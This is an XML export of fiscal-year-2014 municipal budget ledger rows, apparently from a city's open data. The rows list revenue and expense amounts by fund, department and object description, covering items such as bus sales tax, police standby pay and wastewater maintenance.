<row _id="9780"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400220.0</object><object_description>MEMORIAL PARK GYM USER FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-21612.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21612.0</total></row>
<row _id="9781"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577880.0</object><object_description>SMURRF O&amp;M COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-444338.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-444338.0</total></row>
<row _id="9782"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401540.0</object><object_description>STATE HIGHWAY CLEANING</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-11600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11600.0</total></row>
<row _id="9783"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405020.0</object><object_description>SALE OF REFUSE BAGS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="9784"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404680.0</object><object_description>HMRRP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-106641.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-106641.0</total></row>
<row _id="9785"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15514.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15514.0</total></row>
<row _id="9786"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10500.0</total></row>
<row _id="9787"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>30983.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30983.0</total></row>
<row _id="9788"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5428.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5428.0</total></row>
<row _id="9789"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8830.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8830.0</total></row>
<row _id="9790"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>566630.0</object><object_description>STORM DRAIN MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>175000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>175000.0</total></row>
<row _id="9791"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="9792"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26083.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26083.0</total></row>
<row _id="9793"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>603</division_id><division_name>SPECIAL SERVICES</division_name><object xsi:nil="true" /><object_description>CONTRACT SVCS - PARATRANSIT SV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>640500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>640500.0</total></row>
<row _id="9794"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13325.0</total></row>
<row _id="9795"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="9796"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579960.0</object><object_description>BIG BLUE BUS/GEN FUND REIMBURS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>79763.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>79763.0</total></row>
<row _id="9797"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="9798"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>105.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="9799"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>616354.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>9441</december><january>-131.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>625664.0</total></row>
<row _id="9800"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29086.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29086.0</total></row>
<row _id="9801"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="9802"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>640565.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>9627</december><january>-13.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>650179.0</total></row>
<row _id="9803"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4305.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4305.0</total></row>
<row _id="9804"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="9805"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="9806"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6300.0</total></row>
<row _id="9807"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="9808"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11794.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11794.0</total></row>
<row _id="9809"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3677.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3677.0</total></row>
<row _id="9810"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>407080.0</object><object_description>30 DAY IMPOUND FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-111845.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-111845.0</total></row>
<row _id="9811"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401130.0</object><object_description>SPORTS LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-121680.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-121680.0</total></row>
<row _id="9812"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400770.0</object><object_description>LEASE RENTAL REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-3941413.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3941413.0</total></row>
<row _id="9813"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>407160.0</object><object_description>STORMWATER IN-LIEU FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-400000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="9814"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577890.0</object><object_description>MWD RECYCLED WATER REBATE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-18401.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18401.0</total></row>
<row _id="9815"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>88252.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>88252.0</total></row>
<row _id="9816"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3030.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>375.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3405.0</total></row>
<row _id="9817"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>13.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5063.0</total></row>
<row _id="9818"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6150.0</total></row>
<row _id="9819"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522545.0</object><object_description>AD SALES (BBB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>204500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>204500.0</total></row>
<row _id="9820"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544113.0</object><object_description>ONBOARD MATERIALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99596.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99596.0</total></row>
<row _id="9821"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522111.0</object><object_description>UTIL-LIGHT/POWER-PARKING OPS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>179439.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>179439.0</total></row>
<row _id="9822"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402750.0</object><object_description>TDA SALES TAX-OPERATIONS</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-19329273.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-19329273.0</total></row>
<row _id="9823"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405820.0</object><object_description>PROP C - BSIP</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-754403.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-754403.0</total></row>
<row _id="9824"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>27935.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27935.0</total></row>
<row _id="9825"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407020.0</object><object_description>PROP C TRANSIT SECURITY</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-1167590.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1167590.0</total></row>
<row _id="9826"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407506.0</object><object_description>FED CAPITAL GRANTS-MISC</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-223000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-223000.0</total></row>
<row _id="9827"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402210.0</object><object_description>MAUSOLEUM SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-135915.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-135915.0</total></row>
